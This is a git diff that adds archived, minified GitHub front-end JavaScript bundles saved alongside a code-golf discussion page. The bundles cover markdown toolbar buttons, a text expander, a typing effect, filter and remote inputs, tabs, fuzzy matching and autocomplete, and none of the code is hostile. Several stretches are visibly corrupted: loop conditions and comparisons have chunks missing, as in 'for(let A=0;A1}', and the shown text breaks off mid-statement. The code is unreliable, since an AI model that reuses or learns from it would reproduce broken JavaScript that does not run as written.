_{constructor(){super();x.set(this,{prefix:"- ",multiline:!0,unorderedList:!0})}}c(m,"MarkdownUnorderedListButtonElement"),window.customElements.get("md-unordered-list")||(window.MarkdownUnorderedListButtonElement=m,window.customElements.define("md-unordered-list",m));class v extends _{constructor(){super();x.set(this,{prefix:"1. ",multiline:!0,orderedList:!0})}}c(v,"MarkdownOrderedListButtonElement"),window.customElements.get("md-ordered-list")||(window.MarkdownOrderedListButtonElement=v,window.customElements.define("md-ordered-list",v));class d extends _{constructor(){super();x.set(this,{prefix:"- [ ] ",multiline:!0,surroundWithNewlines:!0})}}c(d,"MarkdownTaskListButtonElement"),window.customElements.get("md-task-list")||(window.MarkdownTaskListButtonElement=d,window.customElements.define("md-task-list",d));class t extends _{constructor(){super();x.set(this,{prefix:"@",prefixSpace:!0})}}c(t,"MarkdownMentionButtonElement"),window.customElements.get("md-mention")||(window.MarkdownMentionButtonElement=t,window.customElements.define("md-mention",t));class n extends _{constructor(){super();x.set(this,{prefix:"#",prefixSpace:!0})}}c(n,"MarkdownRefButtonElement"),window.customElements.get("md-ref")||(window.MarkdownRefButtonElement=n,window.customElements.define("md-ref",n));class a extends _{constructor(){super();x.set(this,{prefix:"~~",suffix:"~~",trimFirst:!0})}}c(a,"MarkdownStrikethroughButtonElement"),window.customElements.get("md-strikethrough")||(window.MarkdownStrikethroughButtonElement=a,window.customElements.define("md-strikethrough",a));class h extends HTMLElement{constructor(){super()}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","toolbar"),this.addEventListener("keydown",y),this.setAttribute("tabindex","0"),this.addEventListener("focus",g,{once:!0})}disconnectedCallback(){this.removeEventListener("keydown",y)}get field(){const o=this.getAttribute("for");if(!o)return null;const e="getRootNode"in this?this.getRootNode():document;let r;return(e instanceof Document||e instanceof ShadowRoot)&&(r=e.getElementById(o)),r instanceof HTMLTextAreaElement?r:null}}c(h,"MarkdownToolbarElement");function g({target:l}){if(!(l instanceof Element))return;l.removeAttribute("tabindex");let o="0";for(const e of P(l))e.setAttribute("tabindex",o),o==="0"&&(e.focus(),o="-1")}c(g,"onToolbarFocus");function y(l){const o=l.key;if(o!=="ArrowRight"&&o!=="ArrowLeft"&&o!=="Home"&&o!=="End")return;const e=l.currentTarget;if(!(e instanceof HTMLElement))return;const r=P(e),p=r.indexOf(l.target),b=r.length;if(p===-1)return;let w=0;o==="ArrowLeft"&&(w=p-1),o==="ArrowRight"&&(w=p+1),o==="End"&&(w=b-1),w<0&&(w=b-1),w>b-1&&(w=0);for(let A=0;A1}c(T,"isMultipleLines");function u(l,o){return Array(o+1).join(l)}c(u,"repeat");function s(l,o){let e=o;for(;l[e]&&l[e-1]!=null&&!l[e-1].match(/\s/);)e--;return e}c(s,"wordSelectionStart");function i(l,o,e){let r=o;const p=e?/\n/:/\s/;for(;l[r]&&!l[r].match(p);)r++;return r}c(i,"wordSelectionEnd");let f=null;function E(l,{text:o,selectionStart:e,selectionEnd:r}){const p=l.selectionStart,b=l.value.slice(0,p),w=l.value.slice(l.selectionEnd);if(f===null||f===!0){l.contentEditable="true";try{f=document.execCommand("insertText",!1,o)}catch{f=!1}l.contentEditable="false"}if(f&&!l.value.slice(0,l.selectionStart).endsWith(o)&&(f=!1),!f){try{document.execCommand("ms-beginUndoUnit")}catch{}l.value=b+o+w;try{document.execCommand("ms-endUndoUnit")}catch{}l.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}e!=null&&r!=null?l.setSelectionRange(e,r):l.setSelectionRange(p,l.selectionEnd)}c(E,"insertText");function L(l,o){const e=l.value.slice(l.selectionStart,l.selectionEnd);let r;o.orderedList||o.unorderedList?r=nt(l,o):o.multiline&&T(e)?r=D(l,o):r=K(l,o),E(l,r)}c(L,"styleSelectedText");function O(l){const o=l.value.split(` +`);let e=0;for(let r=0;r=e&&l.selectionStart=e&&l.selectionEnd0?`${w} +`:p,Y=T(X)&&A.length>0?` +${A}`:b;if($){const V=l.value[l.selectionStart-1];l.selectionStart!==0&&V!=null&&!V.match(/\s/)&&(q=` ${q}`)}X=U(l,q,Y,o.multiline);let F=l.selectionStart,J=l.selectionEnd;const ut=C.length>0&&Y.indexOf(C)>-1&&X.length>0;if(ot){const V=G(l);e=V.newlinesToAppend,r=V.newlinesToPrepend,q=e+p,Y+=r}if(X.startsWith(q)&&X.endsWith(Y)){const V=X.slice(q.length,X.length-Y.length);if(Z===rt){let tt=Z-q.length;tt=Math.max(tt,F),tt=Math.min(tt,F+V.length),F=J=tt}else J=F+V.length;return{text:V,selectionStart:F,selectionEnd:J}}else if(ut)if(N.length>0&&X.match(N)){Y=Y.replace(C,X);const V=q+Y;return F=J=F+q.length,{text:V,selectionStart:F,selectionEnd:J}}else{const V=q+X+Y;return F=F+q.length+X.length+Y.indexOf(C),J=F+C.length,{text:V,selectionStart:F,selectionEnd:J}}else{let V=q+X+Y;F=Z+q.length,J=rt+q.length;const tt=X.match(/^\s*|\s*$/g);if(o.trimFirst&&tt){const ct=tt[0]||"",at=tt[1]||"";V=ct+q+X.trim()+Y+at,F+=ct.length,J-=at.length}return{text:V,selectionStart:F,selectionEnd:J}}}c(K,"blockStyle");function D(l,o){const{prefix:e,suffix:r,surroundWithNewlines:p}=o;let b=l.value.slice(l.selectionStart,l.selectionEnd),w=l.selectionStart,A=l.selectionEnd;const C=b.split(` +`);if(C.every(N=>N.startsWith(e)&&N.endsWith(r)))b=C.map(N=>N.slice(e.length,N.length-r.length)).join(` +`),A=w+b.length;else if(b=C.map(N=>e+N+r).join(` +`),p){const{newlinesToAppend:N,newlinesToPrepend:ot}=G(l);w+=N.length,A=w+b.length,b=N+b+ot}return{text:b,selectionStart:w,selectionEnd:A}}c(D,"multilineStyle");function z(l){const o=l.split(` +`),e=/^\d+\.\s+/,r=o.every(b=>e.test(b));let p=o;return r&&(p=o.map(b=>b.replace(e,""))),{text:p.join(` +`),processed:r}}c(z,"undoOrderedListStyle");function et(l){const o=l.split(` +`),e="- ",r=o.every(b=>b.startsWith(e));let p=o;return r&&(p=o.map(b=>b.slice(e.length,b.length))),{text:p.join(` +`),processed:r}}c(et,"undoUnorderedListStyle");function Q(l,o){return o?"- ":`${l+1}. `}c(Q,"makePrefix");function st(l,o){let e,r,p;return l.orderedList?(r=z(o),e=et(r.text),p=e.text):(r=et(o),e=z(r.text),p=e.text),[r,e,p]}c(st,"clearExistingListStyle");function nt(l,o){const e=l.selectionStart===l.selectionEnd;let r=l.selectionStart,p=l.selectionEnd;O(l);const b=l.value.slice(l.selectionStart,l.selectionEnd),[w,A,C]=st(o,b),$=C.split(` +`).map((q,Y)=>`${Q(Y,o.unorderedList)}${q}`),N=$.reduce((q,Y,F)=>q+Q(F,o.unorderedList).length,0),ot=$.reduce((q,Y,F)=>q+Q(F,!o.unorderedList).length,0);if(w.processed)return e?(r=Math.max(r-Q(0,o.unorderedList).length,0),p=r):(r=l.selectionStart,p=l.selectionEnd-N),{text:C,selectionStart:r,selectionEnd:p};const{newlinesToAppend:Z,newlinesToPrepend:rt}=G(l),X=Z+$.join(` +`)+rt;return e?(r=Math.max(r+Q(0,o.unorderedList).length+Z.length,0),p=r):A.processed?(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N-ot):(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N),{text:X,selectionStart:r,selectionEnd:p}}c(nt,"listStyle");function it(l,o){const e=l.closest("markdown-toolbar");if(!(e instanceof h))return;const p=Object.assign(Object.assign({},{prefix:"",suffix:"",blockPrefix:"",blockSuffix:"",multiline:!1,replaceNext:"",prefixSpace:!1,scanFor:"",surroundWithNewlines:!1,orderedList:!1,unorderedList:!1,trimFirst:!1}),o),b=e.field;b&&(b.focus(),L(b,p))}c(it,"applyStyle");var lt=null},57852:(j,P,I)=>{var x=I(10160);const _=/\s|\(|\[/;function W(t,n,a,{multiWord:h,lookBackIndex:g,lastMatchPosition:y}={multiWord:!1,lookBackIndex:0,lastMatchPosition:null}){let T=t.lastIndexOf(n,a-1);if(T===-1||T=T+n.length+1||t.lastIndexOf(` +`,a-1)>T||t.lastIndexOf(".",a-1)>T)return}else if(t.lastIndexOf(" ",a-1)>T)return;const u=t[T-1];return u&&!_.test(u)?void 0:{text:t.substring(T+n.length,a),position:T+n.length}}c(W,"query");const S=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],B=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],H=new WeakMap;function M(t,n){const a=t.nodeName.toLowerCase();if(a!=="textarea"&&a!=="input")throw new Error("expected textField to a textarea or input");let h=H.get(t);if(h&&h.parentElement===t.parentElement)h.innerHTML="";else{h=document.createElement("div"),H.set(t,h);const u=window.getComputedStyle(t),s=S.slice(0);a==="textarea"?s.push("white-space:pre-wrap;"):s.push("white-space:nowrap;");for(let i=0,f=B.length;i{a.remove()},5e3),{top:y.top-g.top,left:y.left-g.left}}c(R,"textFieldSelectionPosition");const k=new WeakMap;class m{constructor(n,a){this.expander=n,this.input=a,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.lookBackIndex=0,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithList=!1,a.addEventListener("paste",this.onpaste),a.addEventListener("input",this.oninput),a.addEventListener("keydown",this.onkeydown),a.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}dismissMenu(){this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex)}activate(n,a){var h,g;if(this.input!==document.activeElement&&this.input!==((g=(h=document.activeElement)===null||h===void 0?void 0:h.shadowRoot)===null||g===void 0?void 0:g.activeElement))return;this.deactivate(),this.menu=a,a.id||(a.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(a),this.combobox=new x.Z(this.input,a);const{top:y,left:T}=R(this.input,n.position);a.style.top=`${y}px`,a.style.left=`${T}px`,this.combobox.start(),a.addEventListener("combobox-commit",this.oncommit),a.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}deactivate(){const n=this.menu;return!n||!this.combobox?!1:(this.menu=null,n.removeEventListener("combobox-commit",this.oncommit),n.removeEventListener("mousedown",this.onmousedown),this.combobox.destroy(),this.combobox=null,n.remove(),!0)}onCommit({target:n}){const a=n;if(!(a instanceof HTMLElement)||!this.combobox)return;const h=this.match;if(!h)return;const g=this.input.value.substring(0,h.position-h.key.length),y=this.input.value.substring(h.position+h.text.length),T={item:a,key:h.key,value:null};if(!this.expander.dispatchEvent(new CustomEvent("text-expander-value",{cancelable:!0,detail:T}))||!T.value)return;const s=`${T.value} `;this.input.value=g+s+y;const i=g.length+s.length;this.deactivate(),this.input.focus({preventScroll:!0}),this.input.selectionStart=i,this.input.selectionEnd=i,this.lookBackIndex=i,this.match=null}onBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async onInput(){if(this.justPasted){this.justPasted=!1;return}const n=this.findMatch();if(n){this.match=n;const a=await this.notifyProviders(n);if(!this.match)return;a?this.activate(n,a):this.deactivate()}else this.match=null,this.deactivate()}findMatch(){const n=this.input.selectionEnd||0,a=this.input.value;n<=this.lookBackIndex&&(this.lookBackIndex=n-1);for(const{key:h,multiWord:g}of this.expander.keys){const y=W(a,h,n,{multiWord:g,lookBackIndex:this.lookBackIndex,lastMatchPosition:this.match?this.match.position:null});if(y)return{text:y.text,key:h,position:y.position}}}async notifyProviders(n){const a=[],h=c(u=>a.push(u),"provide");return this.expander.dispatchEvent(new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:h,text:n.text,key:n.key}}))?(await Promise.all(a)).filter(u=>u.matched).map(u=>u.fragment)[0]:void 0}onMousedown(){this.interactingWithList=!0}onKeydown(n){n.key==="Escape"&&(this.match=null,this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex,n.stopImmediatePropagation(),n.preventDefault()))}}c(m,"TextExpander");class v extends HTMLElement{get keys(){const n=this.getAttribute("keys"),a=n?n.split(" "):[],h=this.getAttribute("multiword"),g=h?h.split(" "):[],y=g.length===0&&this.hasAttribute("multiword");return a.map(T=>({key:T,multiWord:y||g.includes(T)}))}connectedCallback(){const n=this.querySelector('input[type="text"], textarea');if(!(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement))return;const a=new m(this,n);k.set(this,a)}disconnectedCallback(){const n=k.get(this);!n||(n.destroy(),k.delete(this))}dismiss(){const n=k.get(this);!n||n.dismissMenu()}}c(v,"TextExpanderElement"),window.customElements.get("text-expander")||(window.TextExpanderElement=v,window.customElements.define("text-expander",v));var d=null},88823:()=>{const j=function(){return document.readyState==="complete"?Promise.resolve():new Promise(W=>{window.addEventListener("load",W)})}();class P extends HTMLElement{async connectedCallback(){await j,this.content&&await x(this.lines,this.content,this.characterDelay,this.lineDelay),this.cursor&&(this.cursor.hidden=!0),this.dispatchEvent(new CustomEvent("typing:complete",{bubbles:!0,cancelable:!0}))}get content(){return this.querySelector('[data-target="typing-effect.content"]')}get cursor(){return this.querySelector('[data-target="typing-effect.cursor"]')}get lines(){const S=this.getAttribute("data-lines");try{return S?JSON.parse(S):[]}catch{return[]}}get prefersReducedMotion(){return window.matchMedia("(prefers-reduced-motion)").matches}get characterDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-character-delay"))),2147483647))||40}set characterDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-character-delay",String(S))}get lineDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-line-delay"))),2147483647))||40}set lineDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-line-delay",String(S))}}c(P,"TypingEffectElement");var I=null;window.customElements.get("typing-effect")||(window.TypingEffectElement=P,window.customElements.define("typing-effect",P));async function x(W,S,B,H){for(let M=0;M{setTimeout(S,W)})}c(_,"wait")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-58612d26affb.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js new file mode 100644 index 0000000..1396f80 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var W=Object.defineProperty;var o=(D,x)=>W(D,"name",{value:x,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed"],{13002:(D,x,M)=>{M.d(x,{Z:()=>d});class v extends HTMLElement{constructor(){super();this.currentQuery=null,this.filter=null,this.debounceInputChange=_(()=>u(this,!0)),this.boundFilterResults=()=>{u(this,!1)}}static get observedAttributes(){return["aria-owns"]}attributeChangedCallback(n,t){t&&n==="aria-owns"&&u(this,!1)}connectedCallback(){const n=this.input;!n||(n.setAttribute("autocomplete","off"),n.setAttribute("spellcheck","false"),n.addEventListener("focus",this.boundFilterResults),n.addEventListener("change",this.boundFilterResults),n.addEventListener("input",this.debounceInputChange))}disconnectedCallback(){const n=this.input;!n||(n.removeEventListener("focus",this.boundFilterResults),n.removeEventListener("change",this.boundFilterResults),n.removeEventListener("input",this.debounceInputChange))}get input(){const n=this.querySelector("input");return n instanceof HTMLInputElement?n:null}reset(){const n=this.input;n&&(n.value="",n.dispatchEvent(new Event("change",{bubbles:!0})))}}o(v,"FilterInputElement");async function u(e,n=!1){const t=e.input;if(!t)return;const a=t.value.trim(),l=e.getAttribute("aria-owns");if(!l)return;const r=document.getElementById(l);if(!r)return;const c=r.hasAttribute("data-filter-list")?r:r.querySelector("[data-filter-list]");if(!c||(e.dispatchEvent(new CustomEvent("filter-input-start",{bubbles:!0})),n&&e.currentQuery===a))return;e.currentQuery=a;const m=e.filter||S,A=c.childElementCount;let h=0,k=!1;for(const g of Array.from(c.children)){if(!(g instanceof HTMLElement))continue;const L=w(g),R=m(g,L,a);R.hideNew===!0&&(k=R.hideNew),g.hidden=!R.match,R.match&&h++}const b=r.querySelector("[data-filter-new-item]"),E=!!b&&a.length>0&&!k;b instanceof HTMLElement&&(b.hidden=!E,E&&p(b,a)),y(r,h>0||E),e.dispatchEvent(new CustomEvent("filter-input-updated",{bubbles:!0,detail:{count:h,total:A}}))}o(u,"filterResults");function S(e,n,t){return{match:n.toLowerCase().indexOf(t.toLowerCase())!==-1,hideNew:n===t}}o(S,"matchSubstring");function w(e){return((e.querySelector("[data-filter-item-text]")||e).textContent||"").trim()}o(w,"getText");function p(e,n){const t=e.querySelector("[data-filter-new-item-text]");t&&(t.textContent=n);const a=e.querySelector("[data-filter-new-item-value]");(a instanceof HTMLInputElement||a instanceof HTMLButtonElement)&&(a.value=n)}o(p,"updateNewItem");function y(e,n){const t=e.querySelector("[data-filter-empty-state]");t instanceof HTMLElement&&(t.hidden=n)}o(y,"toggleBlankslate");function _(e){let n;return function(){clearTimeout(n),n=setTimeout(()=>{clearTimeout(n),e()},300)}}o(_,"debounce");const d=v;window.customElements.get("filter-input")||(window.FilterInputElement=v,window.customElements.define("filter-input",v))},88309:(D,x,M)=>{M.d(x,{Z:()=>_});const v=new WeakMap;class u extends HTMLElement{constructor(){super();const e=w.bind(null,this,!0),n={currentQuery:null,oninput:y(e),fetch:e,controller:null};v.set(this,n)}static get observedAttributes(){return["src"]}attributeChangedCallback(e,n){n&&e==="src"&&w(this,!1)}connectedCallback(){const e=this.input;if(!e)return;e.setAttribute("autocomplete","off"),e.setAttribute("spellcheck","false");const n=v.get(this);!n||(e.addEventListener("focus",n.fetch),e.addEventListener("change",n.fetch),e.addEventListener("input",n.oninput))}disconnectedCallback(){const e=this.input;if(!e)return;const n=v.get(this);!n||(e.removeEventListener("focus",n.fetch),e.removeEventListener("change",n.fetch),e.removeEventListener("input",n.oninput))}get input(){const e=this.querySelector("input, textarea");return e instanceof HTMLInputElement||e instanceof HTMLTextAreaElement?e:null}get src(){return this.getAttribute("src")||""}set src(e){this.setAttribute("src",e)}}o(u,"RemoteInputElement");function S(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}o(S,"makeAbortController");async function w(d,e){const n=d.input;if(!n)return;const t=v.get(d);if(!t)return;const a=n.value;if(e&&t.currentQuery===a)return;t.currentQuery=a;const l=d.src;if(!l)return;const r=document.getElementById(d.getAttribute("aria-owns")||"");if(!r)return;const c=new URL(l,window.location.href),m=new URLSearchParams(c.search);m.append(d.getAttribute("param")||"q",a),c.search=m.toString(),t.controller?t.controller.abort():(d.dispatchEvent(new CustomEvent("loadstart")),d.setAttribute("loading","")),t.controller=S();let A,h="";try{A=await p(d,c.toString(),{signal:t.controller.signal,credentials:"same-origin",headers:{accept:"text/fragment+html"}}),h=await A.text(),d.removeAttribute("loading"),t.controller=null}catch(k){k.name!=="AbortError"&&(d.removeAttribute("loading"),t.controller=null);return}A&&A.ok?(r.innerHTML=h,d.dispatchEvent(new CustomEvent("remote-input-success",{bubbles:!0}))):d.dispatchEvent(new CustomEvent("remote-input-error",{bubbles:!0}))}o(w,"fetchResults");async function p(d,e,n){try{const t=await fetch(e,n);return d.dispatchEvent(new CustomEvent("load")),d.dispatchEvent(new CustomEvent("loadend")),t}catch(t){throw t.name!=="AbortError"&&(d.dispatchEvent(new CustomEvent("error")),d.dispatchEvent(new CustomEvent("loadend"))),t}}o(p,"fetchWithNetworkEvents");function y(d){let e;return function(){clearTimeout(e),e=setTimeout(()=>{clearTimeout(e),d()},300)}}o(y,"debounce");const _=u;window.customElements.get("remote-input")||(window.RemoteInputElement=u,window.customElements.define("remote-input",u))},29501:(D,x,M)=>{M.d(x,{Z:()=>u});function v(w){return Array.from(w.querySelectorAll('[role="tablist"] [role="tab"]')).filter(p=>p instanceof HTMLElement&&p.closest(w.tagName)===w)}o(v,"getTabs");class u extends HTMLElement{constructor(){super();this.addEventListener("keydown",p=>{const y=p.target;if(!(y instanceof HTMLElement)||y.closest(this.tagName)!==this||y.getAttribute("role")!=="tab"&&!y.closest('[role="tablist"]'))return;const _=v(this),d=_.indexOf(_.find(e=>e.matches('[aria-selected="true"]')));if(p.code==="ArrowRight"){let e=d+1;e>=_.length&&(e=0),S(this,e)}else if(p.code==="ArrowLeft"){let e=d-1;e<0&&(e=_.length-1),S(this,e)}else p.code==="Home"?(S(this,0),p.preventDefault()):p.code==="End"&&(S(this,_.length-1),p.preventDefault())}),this.addEventListener("click",p=>{const y=v(this);if(!(p.target instanceof Element)||p.target.closest(this.tagName)!==this)return;const _=p.target.closest('[role="tab"]');if(!(_ instanceof HTMLElement)||!_.closest('[role="tablist"]'))return;const d=y.indexOf(_);S(this,d)})}connectedCallback(){for(const p of v(this))p.hasAttribute("aria-selected")||p.setAttribute("aria-selected","false"),p.hasAttribute("tabindex")||(p.getAttribute("aria-selected")==="true"?p.setAttribute("tabindex","0"):p.setAttribute("tabindex","-1"))}}o(u,"TabContainerElement");function S(w,p){const y=v(w),_=Array.from(w.querySelectorAll('[role="tabpanel"]')).filter(t=>t.closest(w.tagName)===w),d=y[p],e=_[p];if(!!w.dispatchEvent(new CustomEvent("tab-container-change",{bubbles:!0,cancelable:!0,detail:{relatedTarget:e}}))){for(const t of y)t.setAttribute("aria-selected","false"),t.setAttribute("tabindex","-1");for(const t of _)t.hidden=!0,!t.hasAttribute("tabindex")&&!t.hasAttribute("data-tab-container-no-tabstop")&&t.setAttribute("tabindex","0");d.setAttribute("aria-selected","true"),d.setAttribute("tabindex","0"),d.focus(),e.hidden=!1,w.dispatchEvent(new CustomEvent("tab-container-changed",{bubbles:!0,detail:{relatedTarget:e}}))}}o(S,"selectTab"),window.customElements.get("tab-container")||(window.TabContainerElement=u,window.customElements.define("tab-container",u))},47142:(D,x,M)=>{M.d(x,{CD:()=>A,Gs:()=>c,m7:()=>m});var v=-1/0,u=1/0,S=-.005,w=-.005,p=-.01,y=1,_=.9,d=.8,e=.7,n=.6;function t(h){return h.toLowerCase()===h}o(t,"islower");function a(h){return h.toUpperCase()===h}o(a,"isupper");function l(h){for(var k=h.length,b=new Array(k),E="/",g=0;g1024)return v;var g=new Array(b),L=new Array(b);return r(h,k,g,L),L[b-1][E-1]}o(c,"score");function m(h,k){var b=h.length,E=k.length,g=new Array(b);if(!b||!E)return g;if(b===E){for(var L=0;L1024)return g;var R=new Array(b),O=new Array(b);r(h,k,R,O);for(var I=!1,L=b-1,T=E-1;L>=0;L--)for(;T>=0;T--)if(R[L][T]!==v&&(I||R[L][T]===O[L][T])){I=L&&T&&O[L][T]===R[L-1][T-1]+y,g[L]=T--;break}return g}o(m,"positions");function A(h,k){h=h.toLowerCase(),k=k.toLowerCase();for(var b=h.length,E=0,g=0;E{M.d(x,{Z:()=>a});var v=M(10160);class u extends CustomEvent{constructor(r,c){super(r,c);this.relatedTarget=c.relatedTarget}}o(u,"AutocompleteEvent");function S(l,r=0){let c;return function(...m){clearTimeout(c),c=window.setTimeout(()=>{clearTimeout(c),l(...m)},r)}}o(S,"debounce");const w=new WeakMap;function p(l,r){const c=new XMLHttpRequest;return c.open("GET",r,!0),c.setRequestHeader("Accept","text/fragment+html"),y(l,c)}o(p,"fragment");function y(l,r){const c=w.get(l);c&&c.abort(),w.set(l,r);const m=o(()=>w.delete(l),"clear"),A=_(r);return A.then(m,m),A}o(y,"request");function _(l){return new Promise((r,c)=>{l.onload=function(){l.status>=200&&l.status<300?r(l.responseText):c(new Error(l.responseText))},l.onerror=c,l.send()})}o(_,"send");const d=window.testScreenReaderDelay||100;class e{constructor(r,c,m,A=!1){var h;if(this.container=r,this.input=c,this.results=m,this.combobox=new v.Z(c,m),this.feedback=document.getElementById(`${this.results.id}-feedback`),this.autoselectEnabled=A,this.clearButton=document.getElementById(`${this.input.id||this.input.name}-clear`),this.clientOptions=m.querySelectorAll("[role=option]"),this.feedback&&(this.feedback.setAttribute("aria-live","polite"),this.feedback.setAttribute("aria-atomic","true")),this.clearButton&&!this.clearButton.getAttribute("aria-label")){const k=document.querySelector(`label[for="${this.input.name}"]`);this.clearButton.setAttribute("aria-label","clear:"),this.clearButton.setAttribute("aria-labelledby",`${this.clearButton.id} ${(k==null?void 0:k.id)||""}`)}this.input.getAttribute("aria-expanded")||this.input.setAttribute("aria-expanded","false"),this.results.hidden=!0,this.results.setAttribute("aria-label","results"),this.input.setAttribute("autocomplete","off"),this.input.setAttribute("spellcheck","false"),this.interactingWithList=!1,this.onInputChange=S(this.onInputChange.bind(this),300),this.onResultsMouseDown=this.onResultsMouseDown.bind(this),this.onInputBlur=this.onInputBlur.bind(this),this.onInputFocus=this.onInputFocus.bind(this),this.onKeydown=this.onKeydown.bind(this),this.onCommit=this.onCommit.bind(this),this.handleClear=this.handleClear.bind(this),this.input.addEventListener("keydown",this.onKeydown),this.input.addEventListener("focus",this.onInputFocus),this.input.addEventListener("blur",this.onInputBlur),this.input.addEventListener("input",this.onInputChange),this.results.addEventListener("mousedown",this.onResultsMouseDown),this.results.addEventListener("combobox-commit",this.onCommit),(h=this.clearButton)===null||h===void 0||h.addEventListener("click",this.handleClear)}destroy(){this.input.removeEventListener("keydown",this.onKeydown),this.input.removeEventListener("focus",this.onInputFocus),this.input.removeEventListener("blur",this.onInputBlur),this.input.removeEventListener("input",this.onInputChange),this.results.removeEventListener("mousedown",this.onResultsMouseDown),this.results.removeEventListener("combobox-commit",this.onCommit)}handleClear(r){r.preventDefault(),this.input.getAttribute("aria-expanded")==="true"&&(this.input.setAttribute("aria-expanded","false"),this.updateFeedbackForScreenReaders("Results hidden.")),this.input.value="",this.container.value="",this.input.focus(),this.input.dispatchEvent(new Event("change")),this.container.open=!1}onKeydown(r){if(r.key==="Enter"&&this.container.open&&this.autoselectEnabled){const c=this.results.children[0];c&&(r.stopPropagation(),r.preventDefault(),this.onCommit({target:c}))}if(r.key==="Escape"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowUp"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowDown"&&!this.container.open){if(!this.input.value.trim())return;this.container.open=!0,r.stopPropagation(),r.preventDefault()}}onInputFocus(){this.fetchResults()}onInputBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.container.open=!1}onCommit({target:r}){const c=r;if(!(c instanceof HTMLElement)||(this.container.open=!1,c instanceof HTMLAnchorElement))return;const m=c.getAttribute("data-autocomplete-value")||c.textContent;this.updateFeedbackForScreenReaders(`${c.textContent||""} selected.`),this.container.value=m,m||this.updateFeedbackForScreenReaders("Results hidden.")}onResultsMouseDown(){this.interactingWithList=!0}onInputChange(){this.feedback&&this.feedback.innerHTML&&(this.feedback.innerHTML=""),this.container.removeAttribute("value"),this.fetchResults()}identifyOptions(){let r=0;for(const c of this.results.querySelectorAll('[role="option"]:not([id])'))c.id=`${this.results.id}-option-${r++}`}updateFeedbackForScreenReaders(r){setTimeout(()=>{this.feedback&&(this.feedback.innerHTML=r)},d)}fetchResults(){const r=this.input.value.trim();if(!r){this.container.open=!1;return}const c=this.container.src;if(!c)return;const m=new URL(c,window.location.href),A=new URLSearchParams(m.search.slice(1));A.append("q",r),m.search=A.toString(),this.container.dispatchEvent(new CustomEvent("loadstart")),p(this.input,m.toString()).then(h=>{this.results.innerHTML=h,this.identifyOptions();const k=this.results.querySelectorAll('[role="option"]'),b=!!k.length,E=k.length,[g]=k,L=g==null?void 0:g.textContent;this.autoselectEnabled&&L?this.updateFeedbackForScreenReaders(`${E} results. ${L} is the top result: Press Enter to activate.`):this.updateFeedbackForScreenReaders(`${E||"No"} results.`),this.container.open=b,this.container.dispatchEvent(new CustomEvent("load")),this.container.dispatchEvent(new CustomEvent("loadend"))}).catch(()=>{this.container.dispatchEvent(new CustomEvent("error")),this.container.dispatchEvent(new CustomEvent("loadend"))})}open(){!this.results.hidden||(this.combobox.start(),this.results.hidden=!1)}close(){this.results.hidden||(this.combobox.stop(),this.results.hidden=!0)}}o(e,"Autocomplete");const n=new WeakMap;class t extends HTMLElement{connectedCallback(){const r=this.getAttribute("for");if(!r)return;const c=this.querySelector("input"),m=document.getElementById(r);if(!(c instanceof HTMLInputElement)||!m)return;const A=this.getAttribute("data-autoselect")==="true";n.set(this,new e(this,c,m,A)),m.setAttribute("role","listbox")}disconnectedCallback(){const r=n.get(this);r&&(r.destroy(),n.delete(this))}get src(){return this.getAttribute("src")||""}set src(r){this.setAttribute("src",r)}get value(){return this.getAttribute("value")||""}set value(r){this.setAttribute("value",r)}get open(){return this.hasAttribute("open")}set open(r){r?this.setAttribute("open",""):this.removeAttribute("open")}static get observedAttributes(){return["open","value"]}attributeChangedCallback(r,c,m){if(c===m)return;const A=n.get(this);if(!!A)switch(r){case"open":m===null?A.close():A.open();break;case"value":m!==null&&(A.input.value=m),this.dispatchEvent(new 